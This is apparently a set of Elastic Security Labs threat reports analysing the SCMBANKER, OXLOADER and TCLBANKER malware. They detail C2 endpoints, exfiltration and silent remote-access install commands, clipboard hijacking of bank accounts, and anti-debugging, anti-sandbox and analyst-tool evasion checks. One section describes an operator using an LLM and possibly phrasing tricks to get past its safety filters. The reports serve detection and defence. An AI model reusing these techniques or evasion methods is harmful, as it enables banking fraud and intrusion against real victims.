| Remote URL | Local File | Content | | ----- | ----- | ----- | | https://negratomasa2026[.]online/a/teleavisos.txt | config1.txt | Arbitrary PowerShell executed via Invoke-Expression | | https://negratomasa2026[.]online/b/listadebancos.txt | config2.txt | Window title keywords (bank names + optional redirection target, *-delimited) | | https://negratomasa2026[.]online/b/keysnegativas.txt | config_negative.txt | Negative keywords to filter out false matches when scanning opened windows |

Once running, the banking activity monitor checks all visible window titles every second. A match (full list here) against any listed bank, fintech, payment processor, crypto exchange, brokerage, SAT, or telecom keywords causes the implant to POST an alert to https://negratomasa2026[.]online/dashboard2/avisos2.php in the following format:

mensaje = "
Detected C0incidence: ''
Version: V.1.0.1
10:03 p. m. 08/12/2025
Nombre de PC: 
Cliente desde: 
Client ID: 
IP: 
Navegador: 
"
clientId =

A banking match also starts the screenshot workflow through the toolkit’s rotator pattern. The rotor scripts act as short-lived wrappers: they copy a target script into %TEMP% under Windows-like process names, execute the copy, and repeat for a set period. In this case, rotor1.ps1 repeatedly spawns screen2.ps1 every 7 seconds for 5 minutes, producing about 42 screenshots per trigger. Each screen2.ps1 run captures the full virtual desktop, compresses the image under 10 MB, and uploads it to https://negratomasa2026[.]online/dashboard2/imagenes.php.

SCMBANKER's keylogging module

jujuzkt.ps1 also contains a commented-out path to launch rotor.ps1, a short-lived rotator for key.ps1. While the banking monitor path launches rotor1.ps1 for screenshots, the presence of rotor.ps1 and key.ps1 shows an additional keylogging capability in the toolkit. rotor.ps1 applies the same rotator pattern to C:\Users\Public\key.ps1.

This PowerShell script (key.ps1) fetches Telegram bot credentials from https://negratomasa2026[.]online/a/telekeylogger.txt via Invoke-Expression, but never references them after assignment. The only exfiltration path in the script is an HTTP POST to https://negratomasa2026[.]online/dashboard2/logs.php with the client ID and hostname. The Telegram configuration may be leftover code from an earlier version.

The vishing engine: turning infections into live phone scams

The vishing engine is what turns a commodity-looking PowerShell bundle into an operator-assisted fraud workflow. rotor2.ps1 applies the rotator pattern to mensaje1.ps1, keeping the dispatcher alive under changing Windows-like filenames.

When mensaje1.ps1 is launched, every 10 seconds it fetches https://negratomasa2026[.]online/b/.txt, where each line has the format *, mapping a victim public IP address to a vishing page URL. If the victim’s public IP appears in that list, the dispatcher launches a vishing lock-screen module and records the child process ID so it can later release the victim when the IP is removed.

The operator can choose between two overlay behaviors.

mensaje.ps1 creates a borderless, topmost WebBrowser window, confines the mouse to the form, and uses a 200 ms timer to bring the overlay back to the foreground if the victim clicks away.
mensajeoff.ps1 uses a more normal-looking window that cannot be closed and automatically undoes every attempt to dismiss, move, resize, or minimize it. Triggered when the URL ends with ?off.

The content of those pages completes the social engineering loop: the victim sees a fake bank warning and is prompted to call an operator. One observed page, http://68.211.161[.]46/driver.html?off, links to a Remote Utilities payload, connecting the vishing prompt directly to hands-on access.

Active browser redirects to phishing pages

Unlike the banking monitor, the redirect module only engages victims the operator has explicitly queued for phishing. remo.ps1 polls https://negratomasa2026[.]online/b/.txt every 5 minutes, and only victims whose public IP appears in that file launch the second monitor, jujuzkt2.ps1.

jujuzkt2.ps1 watches window titles against https://negratomasa2026[.]online/b/urlsscams.txt (archived list here) and, when a configured URL exists, places the phishing URL on the clipboard, focuses the browser, sends keypresses (Ctrl+L, Ctrl+V, and Enter), then pauses before continuing.

Many urlsscams.txt entries currently end with an empty URL, which suggests target coverage was planned ahead of the completed vishing pages.

An observed redirect destination, https://bancaporinternetbbmx[.]online, also includes a page-load Telegram notification script. When the phishing page opens, the script forces IPv4 resolution, collects browser and device details, and sends the profile to a Telegram chat. This gives the operator immediate confirmation that a redirected victim has reached the lure and has enough context to prioritize live follow-up.

Clipboard and transfer manipulation

The clipboard modules focus on payment redirection rather than credential theft.

clip.ps1 checks the clipboard every 300 milliseconds for 18-digit CLABE account numbers, then matches the first three digits against the Mexican bank prefix and can replace the destination account with an attacker-controlled CLABE from https://negratomasa2026[.]online/b/clabes.txt.
clip2.ps1 applies the same process to 16-digit card numbers, matches on the six-digit bank identification numbers, and replaces them with values from https://negratomasa2026[.]online/b/tarjetas.txt.

How does the operator get hands-on access to a victim's machine?

SCMBANKER gives the operator direct, hands-on-keyboard control by installing a remote-access tool. Rather than build one, REF6045 repurposes Remote Utilities Host, a legitimate commercial remote-administration product, and configures it silently to call back.

Deployment is operator-triggered and runs through three scripts. The first script (avs.ps1) polls comando.txt every 120 seconds, and when the operator pushes an .msi URL it downloads the installer to C:\Users\Public\ and launches instaler.ps1. This second script (instaler.ps1) exits if the 99.kut guard file already exists so the RAT installs only once, relaunches itself with -Verb RunAs until it gets admin, then installs silently with msiexec /i "hosts.msi" /quiet /norestart. On success, it writes REMOTO INSTALADO to agent.txt, drops the 99.kut guard, and runs attrib +h +s "C:\Users\Public" to hide the implant directory.

The third script (remoto.ps1) waits 120 seconds, then imports a registry blob into HKLM\SOFTWARE\Usoris\Remote Utilities Host\Host\Parameters that sets callback auto-connect to the operator (default port 5650, Spanish UI, notifications suppressed, a hardcoded auth key, and SID 46053.045416157).

It also deletes the UninstallString at HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{F6688BD5-2126-4F4F-A484-1D05781479B9} so the victim cannot remove it through the traditional Windows menu: Add/Remove Programs.

The result is a persistent, attacker-configured remote desktop that calls home on its own, runs without tray notifications, and resists removal. It is the same payload as the driver.html?off vishing page points victims to, so the social-engineering prompt and the silent install converge on the same hands-on access.

SCMBANKER's self-update mechanism

SCMBANKER includes a self-update mechanism that lets the operator replace the implant from the C2 without rebuilding persistence. edifhjwe.ps1 polls C:\Users\Public\comando.txt (C2 command written by cliente.ps1) every 40 seconds and treats a ZIP URL as an update instruction.

When triggered, edifhjwe.ps1 downloads the ZIP to %TEMP%\Agent_temp.zip, wipes most of C:\Users\Public\, and extracts the new toolkit into place. It preserves a small set of state files, including comando.txt, comentario.txt, id.txt, agent.txt, and 99.kut, so the updated bot keeps its operator notes, infection timestamp, remote-access status, and Remote Utilities install marker.

After extraction, the updater writes BOT ACTUALIZADO to comando.txt as a completion flag, kills running PowerShell module processes by script name, and relaunches run.vbs.

Is the REF6045 malware written by AI?

The scripts show strong signs of AI assistance, most likely by prompting a large language model in Spanish and then applying manual obfuscation afterward. The code has a split personality, with clean, descriptive function names and heavy explanatory comments sitting next to hand-shortened variables and leftover generation artifacts. The placement of instruction-like comments directly above the code they describe suggests the authors have prompted an inline coding assistant such as Copilot or Cursor.

The clearest artifact is a comment sitting directly in the mutation rotator and the keylogger (rotor2.ps1 and key.ps1), which are saturated with aggressive profanity in their comments, while the rest of the kit uses a neutral tone:

key.ps1 uses self-documenting obfuscation. It Base64-encodes its Win32 API names to hide them from scanners, then immediately annotates what each one decodes to:

$u32b64  = 'dXNlcjMyLmRsbA=='          # user32.dll
$GASb64  = 'R2V0QXN5bmNLZXlTdGF0ZQ=='  # GetAsyncKeyState
$GKLb64  = 'R2V0S2V5Ym9hcmRMYXlvdXQ='  # GetKeyboardLayout
$TUExb64 = 'VG9Vbmljb2RlRXg='          # ToUnicodeEx

Every script opens with heavy banner-comment dividers (INTERVALOS DE TIEMPO, DICCIONARIOS Y VARIABLES, FUNCIONES, INICIO, LOOP PRINCIPAL). This document-like scaffolding is a hallmark of LLM-generated PowerShell and is rarely seen in scripts by experienced developers.

Taken together, the evidence points to an operator who prompted a model in Spanish, used profanity and phrasing tricks either out of frustration or to bypass safety filters for the more sensitive components, and pasted the outputs with little review before applying a light manual obfuscation pass. The kit was not generated autonomously, but the model did the heavy lifting on essentially every functional script.

As language models become increasingly capable, defenders should expect AI-assisted malware development to become more common, particularly among operators who previously lacked the expertise to implement these capabilities themselves.

REF6045's infrastructure and OPSEC failures

The depth of this analysis was made possible by poor server hygiene across the operation. The file server at http://68.211.161[.]46/files/ had directory listing enabled, exposing the PowerShell agent scripts for direct download. The same directory also briefly hosted zkt.zip, which yielded the entire operation in a single archive.

The C2 also exposed an unauthenticated file editor at /b/editor.php, allowing anyone to directly modify the operation's live targeting configuration files without credentials. The same surface that lets the operator manage victims also lets a visitor read and write the configuration files.

The related ClickFix hosts listed earlier reused the same validation.txt delivery pattern while hosting overlapping PowerShell toolsets under /files. Those hosted scripts pointed to separate C2 panels, but the panels shared the same SCM-branded login template, with the latest we’ve seen being SCM v2.0, hence the name SCMBANKER.

Taken together, the open directories, exposed editor, repeated lure text, overlapping file-server contents, and shared SCM panel branding suggest kit reuse or multiple deployments by the same operator set. We treat the related hosts as infrastructure variants around the same tooling rather than as separate malware families.

Why REF6045 matters despite its crude execution

REF6045 is not a complex operation. The tooling is crude and held together with copy-paste batch files, duplicated bitsadmin jobs, sloppy persistence, self-defeating obfuscation that ships its own key, and a server left wide open with directory listings, a full web-root archive, and an unauthenticated editing panel.

That lack of craftsmanship is partly explained by how the kit was developed. The scripts are littered with numerous AI-generated artifacts, suggesting the operator relied heavily on a large language model to implement much of the functionality. Rather than writing components such as the keylogger or a clipboard hijacker from scratch, the operator prompted a model, pasted the output, and applied a light manual obfuscation pass on top.

Victims are kept as a passive feed while the operator watches a live dashboard and engages only the targets worth the effort, switching on browser redirects, vishing lockdowns, clipboard swaps, or a full RAT by IP, on demand. Crude as it is, SCMBANKER already has real victims. The live victim counter and the labeled, tagged machines on the operator's own panels show that individual people are being actively targeted.

REF6045 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

How to detect and prevent REF6045

Prevention rules for detecting SCMBANKER

Observables

The following observables were discussed in this research.

Lost in relocation: analysis of a new loader distributing CASTLESTEALER

Daniel Stepanic,Jia Yu Chan — Fri, 19 Jun 2026 00:00:00 GMT

A previously undocumented Windows loader tracked as OXLOADER is delivering the CASTLESTEALER infostealer via malicious Google Ads, with low detection rates across static engines and sandbox detonations. The loader uses several obfuscation layers (control-flow flattening, opaque predicates, mixed Boolean-Arithmetic), self-modifying decryption stubs, and abuses the Windows .reloc section to stage shellcode.

Elastic Security Labs identified OXLOADER in an active campaign targeting one of our customers; CIS-region and Russian-language exclusions point to a financially motivated, Russian-speaking threat actor. We have found no prior public reporting on this family.

Key takeaways

Elastic Security Labs discovers new loader (OXLOADER)
OXLOADER observed in campaigns distributing CASTLESTEALER via malicious Google Ads
CIS-region exclusion and Russian language checks suggest a Russian-speaking, financially motivated threat actor
Low detection rates across static engines and sandbox detonations
Elastic Defend stops the entire attack chain using advanced prevention capabilities

How malvertising delivered OXLOADER to victims

OXLOADER is distributed via malicious Google Ads impersonating Node.js. Victims are redirected through an intermediary domain to a Storj-hosted batch script, which downloads and executes OXLOADER.

The infection began when the user searched for an lts version of node.js and clicked a sponsored result leading to node-js[.]prentiva99[.]info, a malicious landing page designed to impersonate a legitimate Node.js deployment platform. The threat actor operated a Google Ads campaign targeting US-based victims; the ad was last shown on Apr 23, 2026, and the site is now offline. The advertiser was registered under the verified name ВОЛОДИМИР ТЕРЕЩЕНКО, based in Ukraine. Whether this reflects the actual operator, a front account, or a purchased identity remains unclear. On May 14, 2026, the advertiser along with their associated ad campaigns were removed from Google entirely.

Upon interaction, the user was redirected through app[.]miloyannopoulos[.]com/download?subid1=download, which responded with a 302 Found to the payload URL link[.]storjshare[.]io/raw/jux4e4ky5mruo4jkxsssp42sau4q/ruslan/BATPackageBuilderSetup.bat. This delivered a Windows batch script, hosted on Storj’s legitimate link-sharing service, which the threat actor abused to evade domain-based reputation filtering.

The batch script displays a fake software installation wizard UI, immediately downloads the next-stage executable from the Storj URL link.storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe via PowerShell, and launches it with -Verb RunAs to trigger a UAC elevation prompt.

Following execution of the Batch script, Elastic Defend detected malicious behavior (policy was set to detect only), triggering multiple behavioral rules including Microsoft Common Language Runtime Loaded from Suspicious Memory, hinting at a .NET-based payload consistent with CASTLESTEALER.

The following is the execution graph of the attack chain from payload download to CASTLESTEALER deployment.

OXLOADER malware loader: technical analysis

The first OXLOADER sample our team analyzed masquerades as the popular tool, API Monitor from rohitab.com. Due to the heavy presence of legitimate code and code-hiding techniques, this loader is able to fly under the radar against static file analyzers.

How OXLOADER unpacks itself at runtime

The malware begins executing during the CRT initializer phase, before any user code is run. The CRT function cinit() invokes initterm(), which walks the C++ initializer table (__xc_a → __xc_z) calling each entry. The malware developer has hijacked one of these entries, pointing to a function that makes a RegisterClipboardFormatW() call before tail-jumping into the first decryption stub.

The loader uses self-modifying techniques with several decryption stubs to unroll itself. Below is an example of a decryption stub being patched in during runtime, before jumping to it.

After the patching has taken place, the loader decrypts a 28,233-byte region. Each byte is decrypted with a single-byte XOR key that updates after every iteration: the just-decrypted plaintext byte is added to the key, which is then used to decrypt the next byte. This similar decryption routine runs three times in total, each over a different region.

Obfuscation techniques used to evade static detection

OXLOADER breaks automated function-boundary detection in binary analysis tooling such as IDA Pro using four layered obfuscation techniques: control-flow flattening (CFF), mixed Boolean-Arithmetic (MBA), opaque predicates, and function chunking across non-contiguous code regions. Functions are stitched together with unconditional jumps, and some regions are reached through indirect jumps whose target addresses are computed at runtime via MBA arithmetic. The result is that IDA Pro cannot reliably reconstruct function boundaries, requiring manual fixes.

The loader decrypts various strings at runtime using the following string decryption algorithm:

uint32_t obf_xor_a1_with_a2_plus_33FDA(uint32_t a1, uint32_t a2) { 
return a1 ^ (a2 + 0x33FDA); 
}

After the code is fully unpacked/decrypted, the malware combines this string decryption function with an Adler-32 API hashing algorithm to dynamically resolve its imports.

How does OXLOADER evade sandbox and VM detection?

After resolving its APIs, OXLOADER performs various checks to ensure the machine executes in a clean environment, avoiding execution in sandbox environments.

The first check attempts to connect to a deliberately malformed network resource (*72s@1s) using mpr!WNetAddConnection2W. This technique appears to defeat emulation/sandboxes that may hook or return a successful connection unconditionally. The malware developer verifies this call by accessing the TEB directly to retrieve the LastErrorValue. The loader expects this error code to be ERROR_BAD_NAME (0x43), if the error code is anything other than this value, the malware takes the failure branch and stops execution.

The second check is an anti-sandbox test based on the processor count: the loader requires the host to have at least 3 CPUs to continue. Many sandboxes and analysis VMs are provisioned with one or two CPUs to conserve resources, so this threshold filters out these automated analysis environments.

The next check uses GlobalMemoryStatusEx() to verify that the host has at least 3 GB of available physical memory.

A further check uses WMI to query the system display's refresh rate, executing the WQL statement SELECT CurrentRefreshRate FROM Win32_VideoController and comparing the returned value (in Hertz) against a threshold of 20. Physical monitors usually report around 60 Hz or higher, while headless and default-virtualized configurations typically report 0 or 1, and values below 20 cause the loader to abort.

Geographic and language exclusions

The final two checks halt execution if the host is located in a CIS country or configured for the Russian language. The first check in this category uses GetUserGeoID to retrieve the system’s geographic region and compares it against a hardcoded list of CIS country GEOIDs.

The second check uses GetUserDefaultUILanguage and matches against LANGID (0x419 - Russian, Russia), the standard configuration for a Russian language Windows installation.

Shellcode staging via .reloc section and OCX file

After all the checks have passed, the malware makes a copy of the Windows DirectUI Engine DLL (C:\Windows\System32\dui70.dll), storing it in a temporary location using a randomly generated name with the .ocx extension (PFHemkxVk.ocx). This extension choice inspired the OXLOADER family name.

OXLOADER then creates a new section named (.xtext) in this target DLL (PFHemkxVk.ocx).

This new section (.xtext) is configured with RWX (read/write/execute) protections in preparation to store and execute the next stage of the malicious code.

This updated DLL (PFHemkxVk.ocx) is then loaded into the existing loader process via LoadLibraryA.

In a normal Windows executable, the .reloc section contains a table of IMAGE_BASE_RELOCATION blocks that the Windows loader applies to patch absolute addresses when the image is loaded at an address other than its preferred base. In this sample, the malware developer is using
the .reloc section to house malicious code instead of the base relocation entries. This is a strong static-analysis red flag: legitimate toolchains do not emit code into the .reloc section.

This shellcode from the .reloc section is then copied to the newly created section (.xtext) in the OCX file, and the loader then calls this code.

As observed previously, there is another decryption stub used to unpack this next stage.

In-memory infostealer delivery via DonutLoader and .NET assembly

This next-stage shellcode is a payload configured from DonutLoader, an open-source shellcode generator used to wrap .NET assemblies, DLLs, and EXEs into position-independent shellcode (PIC) for in-memory execution. During unpacking, the shellcode decrypts the loader's embedded configuration and execution context using the Chaskey-LTS block cipher in CTR mode with the key (6E0A1F8F77F7011561F6F9CA96B71B8F) and IV (956C6128E9362E075F8D006C93616A66).

After the decryption, the payload is decompressed via aPLib then bootstrapped through DonutLoader’s RunPE() function. The final payload is a newly discovered information stealer by Huntress called CASTLESTEALER. This attribution is based on the same AES key used for C2 communications found between 0xDEADBEEF markers in a previous sample.

Second OXLOADER variant: same loader, different masqueraded program

A second OXLOADER variant masquerades as a Node.js installer rather than API Monitor, but uses the identical loader mechanism.

On May 13, 2026, we discovered that the redirector endpoint app.miloyannopoulos[.]com/download responded with one of two Location header fields, chosen at random:

https://link.storjshare[.]io/raw/jv5uebuqwzfpmtahj34q753ptykq/node/BATPackageBulderSetup.bat
https://link.storjshare[.]io/raw/jvsmdybqmvwep2oawbobp6ub7aza/node/node-v24.15.0-x64-86.exe

The Batch installation script (BATPackageBulderSetup.bat, with a typo for “Builder”) remained mostly identical. The only difference was that the Storj payload link now pointed to a different binary named node-v24.15.0-x64-86.exe.

The payload attempts to masquerade itself as benign CMake code while retaining “node” in the filename, likely to keep the lure theme intact. We believe the earlier “API Monitor” sample was likely a distribution error by the operator.

Upon execution, we noticed the same pattern: indirect jumps used for in-memory self-decryption, followed by the loading of mpr.dll and a call to WNetAddConnection2W. We confirmed that it is the identical loader mechanism discussed previously, and this sample also loads CASTLESTEALER.

Below is a snippet where the self-decryption occurs. Dummy CMake-related strings appear to be passed as arguments to a function call, which patches a small decryption stub into memory immediately after the call site. Execution then jumps to the stub to decrypt subsequent instructions, and this process repeats 2 more times until the main malware body is decrypted.

Conclusion: why defenders should track OXLOADER

OXLOADER is in an early operational phase, but the engineering behind it suggests this family is worth watching. The code obfuscation, anti-VM measures, benign-looking code used to masquerade its binaries, and unique staging techniques reflect deliberate engineering choices to evade analysis. That investment is paying off, resulting in low detection rates across static engines and detonation runs, giving OXLOADER a window to operate before it gets hunted down.

REF8372 through MITRE ATT&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Remediating REF8372

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

The following observables were discussed in this research.

TCLBANKER: Brazilian Banking Trojan Spreading via WhatsApp and Outlook

Jia Yu Chan,Daniel Stepanic,Seth Goodwin,Terrance DeJesus — Thu, 07 May 2026 00:00:00 GMT

Elastic Security Labs identified a new Brazilian banking trojan that we are tracking as TCLBANKER, a malware family we assess is a major update of the MAVERICK/SORVEPOTEL family. The campaign, tracked as REF3076, features a loader with robust anti-analysis capabilities that deploys two embedded .NET Reactor-protected modules: a full-featured banking trojan and a worm module for self-propagation.

The banking trojan monitors the victim's browser address bar via UI Automation, targeting 59 Brazilian banking, fintech, and cryptocurrency domains. Beyond the usual remote access commands, its most notable capability is a WPF-based full-screen overlay framework designed for operator-driven social engineering.

A second module handles distribution through spam agents, of which we recovered two variants: a WhatsApp worm that hijacks authenticated browser sessions to message the victim's contacts, and an Outlook email bot that sends phishing emails through the victim's own accounts via COM automation.

Through this report, we provide a detailed technical breakdown of each stage.

Key takeaways

TCLBANKER uses environment-gated payload decryption; incorrect environments, such as sandboxes, silently fail to decrypt the payload
A comprehensive watchdog subsystem continuously monitors for analysis tools, debuggers, instrumentation frameworks, and integrity violations throughout execution
The banking trojan targets 59 Brazilian banking, fintech, and cryptocurrency domains, activating a WebSocket C2 session when a victim navigates to a monitored site
A WPF-based full-screen overlay framework enables operator-driven social engineering, including credential harvesting, vishing wait screens, and fake Windows Update stalls, while hiding overlays from screen capture tools
Worm modules propagate the malware: a WhatsApp bot and an Outlook email bot
All C2 and distribution infrastructure is hosted on Cloudflare Workers under a single account, with developer artifacts (debug logging paths, test process names) and an incomplete phishing page, suggesting the campaign was identified in an early operational stage

Delivery

TCLBANKER is a Brazilian banking trojan that contains a dynamic infection chain with a heavy anti-analysis loading component that can deploy two embedded payloads (worm, banker). The observed infection chain bundles a malicious MSI installer inside a ZIP file. These MSI installer packages are abusing a signed Logitech program called Logi AI Prompt Builder.

TCLBANKER abuses DLL sideloading against LogiAiPromptBuilder.exe, a legitimate Logitech application built on the Flutter framework. The malicious DLL screen_retriever_plugin.dll masquerades as a legitimate Flutter plugin of the same name and is loaded automatically when the host application starts.

After the MSI installation, the malicious DLL is immediately loaded and starts at the DllMain entry point.

Loader

The loader component for TCLBANKER is packed with features, including anti-debugging features, anti-analysis checks, string encryption, system language checks, ETW patching, and a watchdog capability. While it has many features, it lacks depth and has references to older malware analysis tooling. It’s not entirely clear whether the developer used LLM-assisted workflows, but our team wouldn’t be surprised if that were the case.

At the beginning of the execution, TCLBANKER aligns the corresponding .NET assembly payloads based on whether the string (--renderer=sw) is used in the command-line. Within its main loader function, it first performs allow-list/blocklist operations based on how the DLL was loaded. The malicious DLL will only execute if the host process comes from the following two processes:

logiaipromptbuilder.exe
tclloader.exe (Possible reference to developer string during testing)

If the DLL was loaded by the following processes, it will refuse to run. These processes are traditionally used by analysts to load and debug DLLs.

rundll32.exe
regsvr32.exe
dllhost.exe
svchost.exe

Next, TCLBBANKER removes any user-mode hooking by replacing ntdll.dll from disk. For more evasion, the malware generates the following syscall trampolines used later:

NtQueryInformationProcess
NtSetInformationThread
NtSetInformationProcess
NtTerminateProcess
NtAllocateVirtualMemory
NtProtectVirtualMemory

After installing syscall stubs, the malware patches EtwEventWrite in ntdll.dll with the classic xor eax, eax; ret to disable user-mode ETW telemetry.

TCLBANKER performs an initial sandbox check by capturing a start tick using GetTickCount64(), sleeping for 500 ms, and measuring the elapsed time. If fewer than 450 ms have actually passed, the malware bails — this detects sandboxes or emulation frameworks that hook Sleep to return immediately..

One of the more interesting features of TCLBANKER is an enumeration function that generates three fingerprints based on the following criteria:

Anti-debugging checks
System disk information and memory checks
Language checks

The developer uses magic constants assigned to “clean” paths for each category, then performs an XOR against each one to generate the environment hash. This environment hash value is significant because it affects downstream decryption of the embedded payload.

For example, if a debugger is present, it will produce an incorrect hash, so when the malware attempts to derive the decryption keys from the hash, the payload will not decrypt correctly, and TCLBANKER will stop executing.

Anti-debugging checks

TCLBANKER implements six different anti-debugging checks:

Identify the debugger through the Peb->BeingDebugged flag
Checks heap-tail/heap-free/check-heap flags set when a process is launched under a debugger
Leverages NtQueryInformationProcess() using ProcessDebugPort
Uses NtQueryInformationProcess() using ProcessDebugObjectHandle
Hardware breakpoint detection via the debug registers (DR0-DR3)
Measures the elapsed time using QueryPerformanceCounter() deltas and RDTSC cycle counts

System information checks

TCLBANKER has the following five different checks based on virtualization, system, and user information:

Checks for virtualization software using vendor signature

Verify the root system drive (C:\\) via GetDiskFreeSpaceExW() has at least 64 GB
Calls GlobalMemoryStatusEx() to verify the system has more than 2 GB of RAM
Checks for 2 or CPU processors via GetSystemInfo()
Checks for generic sandbox/malware usernames
sandbox, malware, virus, sample, john doe, currentuser

Language checks

For the last environment fingerprint check, TCLBANKER retrieves geographical information of the infected machine using GetUserGeoID(), targeting Brazilian users based on the geographical ID (0x20). A second locale check via GetUserDefaultLCID() also ensures the user's default language is Brazilian Portuguese (pt-BR, LANGID 0x0416).

After these sets of checks, TCLBANKER will either bail out of execution if anything is detected or, if not, produce another anti-debugging check by patching DbgUiRemoteBreakin(). The malware patches its first byte to a ret instruction so that any attempt to remotely break into the process does nothing — the injected thread immediately returns, and the target keeps running, unsuspended.

DbgUiRemoteBreakin" title="Patching DbgUiRemoteBreakin" />

After this, the malware derives an AES-256 CBC key and IV by using hard-coded constants from the .rdata section along with the environmental hash calculated earlier. TCLBanker uses BCryptDecrypt() to decrypt the embedded payload, then decompresses via RtlDecompressBuffer using the LZNT1 compression algorithm.

Once the respective payload is decrypted, TCLBANKER initializes COM via CoInitializeEx() and uses the CLR hosting APIs to load the .NET runtime in-process. Before launching the payload entry point, TCLBanker creates two new threads: one serves as the watchdog, and the other monitors the watchdog thread as a heartbeat check.

Watchdog

TCLBANKER has a comprehensive watchdog feature that targets various analysis tools, including disassemblers, debuggers, instrumentation products, anti-virus products, and sandbox products. This section will outline the various techniques used by this feature:

Debugger check via PEB→BeingDebugged
Watches for hardware breakpoints DR0/DR1/DR2/DR3
Checks Windows functions (BCryptDecrypt(), BCryptOpenAlgorithmProvider()) for in-line hooks by scanning the first 12 bytes of each function
Monitors for instrumentation tools and related strings (frida, cydia, user-path injection, hook framework)
Reviews all kernel named pipes searching for frida or linjector
Performs process enumeration via CreateToolhelp32Snapshot() targeting the following process names:
frida, de4dot, dnspy, megadumper, extremedumper, processhacker, x64dbg, x32dbg, pe-sieve, scylla, Ilspy, dotpeek, netreactorslayer, cheatengine

Employs Windows title detection via GetWindowTextW() with these titles:
x64dbg, x32dbg, ida -, ida pro, ghidra, dnspy, megadumper, extremedumper, processhacker, ollydbg, windbg)_, pe_sieve, scylla
Identifies analyst tooling based on the following window class names via FindWindowW():
IDATopLevelWindow, idaabortwndclass, TIdaWindow, x64dbg, x32dbg, OLLYDBG, WinDbgFrameClass, ProcessHacker, SystemInformer, CheatEngine, HxdClass
Checks for the following loaded modules
dbeng.dll, dbgcore.dll, SbieDll.dll, snxhk.dll, cmdvrt32.dll, cmdvrt64.dll, cuckoomon.dll, pstorec.dll, vmcheck.dll, wpespy.dll
Targets the following mutexes and events:
Ida_trusted_idbs, IDA_COMM_PIPE_, Local\\x64dbg, Local\\x32dbg, Frida, YOURAPPNAMEHERE
Performs CRC32 integrity check on the .text section to prevent any tampering

Banking Trojan Module

Tcl.Agent is a banking trojan, the main component of the chain. It is .NET Reactor-protected, and although we failed to deobfuscate it using available open-source tooling such as de4dot and NETReactorSlayer, we managed to statically deobfuscate this stage up to a satisfiable state using a custom deobfuscation pipeline to tackle .NET Reactor’s string encryption, control flow flattening, IL mutation, delegate proxies, and encrypted method bodies (Necrobit). Although it is a new malware, much of the code structure still follows ESET’s LATAM banking trojan implementation blueprint, published in 2020.

At start, the malware performs geofencing, requiring >= 2 of the following indicators to match Brazil; otherwise, it exits immediately if not on a Brazilian machine:

Installation and Persistence

On the first run, the malware copies the entire application directory into %LocalAppData%\LogiAI. It computes a SHA-256 hash over all .dll and .exe files in the source directory and writes it to a .version marker file. On subsequent runs, it compares hashes to skip redundant copies. After copying, it launches the new instance from the install path and exits.

It creates a scheduled task named RuntimeOptimizeService using COM interop with the Task Scheduler (CLSID 0F87369F-A4E5-4CFC-BD3E-73E6154572DD). The task is configured as hidden, enabled, with no execution time limit, allowed on battery, start-when-available, and fires on a logon trigger (type 9) scoped to the current user. It registers with TASK_CREATE_OR_UPDATE and TASK_LOGON_SERVICE_ACCOUNT.

After persistence is established, the agent sends a first-run POST beacon to https://campanha1-api.ef971a42.workers[.]dev/api/installs with the agentId (MachineName-UserName), MachineName, UserName (redundant), and the OS version. The request is authenticated with a hardcoded campaign authentication token 0d21613a-2609-45fc-83ff-d0feaa0c891f. The newer variant adds debug logging around this call (C:\temp\tcl-debug.txt), a developer artifact that inadvertently exposes agent presence on disk.

Self-Update

The agent implements a hash-based self-update gate that runs early in the startup pipeline. It reads a local version hash from flutter_engine.cfg in its install directory (migrating from a legacy version.hash filename if present), then fetches the current hash from the file server endpoint documents.ef971a42.workers[.]dev/api/version using a truncated User-Agent string (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36.

The response is parsed for the "hash" key. If the remote hash matches the local hash, execution continues normally. On first install, the remote hash is written to disk, and execution proceeds without updating.

When a hash mismatch is detected, the agent downloads the update payload from documents.ef971a42.workers[.]dev/api/update as an MSI to %TEMP%\update_{8hexchars}.msi, authenticated with Bearer token b7ba9e80-0d04-4d9e-b217-c8b3cce335a2.

The download is validated against a 100KB minimum size as a sanity check. The agent then writes a self-deleting batch script to %TEMP% that polls the tasklist until the current process exits, executes msiexec /i /qn REINSTALLMODE=amus for silent installation, and deletes itself. The batch file is launched via a hidden cmd.exe process before the agent terminates, handing off execution to the updated payload.

Browser URL Monitor and C2 Session Initialization

Every second, the malware agent calls a browser URL monitor function that reads the foreground browser's address bar via UI Automation. It calls GetForegroundWindow, resolves the owning process, checks the process name against Chrome, Firefox, Microsoft Edge, Brave, Opera, and Vivaldi, then uses AutomationElement.FromHandle -> FindFirst(Descendants, ControlType.Edit) -> ValuePattern.Current.Value to extract the URL, similar to this Stack Overflow implementation.

The extracted URL is matched against a fixed list of targeted banks embedded in the binary, encoded via XOR with a 16-byte key and base64 encoding.

This GitHub Gist contains a list of 59 targeted domains, including Brazilian banking, fintech platforms, and cryptocurrency exchanges, grouped by the target IDs appended to each decrypted domain.

When a match hits, the domain target ID is passed to the next state, which initializes the official C2 communication by establishing a WebSocket connection to wss://mxtestacionamentos[.]com/ws. The OnConnect handler fires, sending a registration packet containing the agent ID (a random GUID at runtime), MachineName, UserName, machine info, timestamp, domain target ID (so the C2 knows which website the victim opened), and a signature.

To produce a handshake signature, HMAC-SHA256 is used to sign the victim identifier (agent ID, MachineName, UserName, OSVersion, timestamp) using the campaign GUID 70e4f943-e323-4484-97d7-35401bf6812c as the key.

The server then responds with a registration acknowledgment, officially starting the session, and enters the command dispatch loop. At session start, a Task Manager killer is fired every 500ms to prevent the victim from inspecting or terminating the agent's process.

C2 Command Table

A capability summarization is described through the opcode table below:

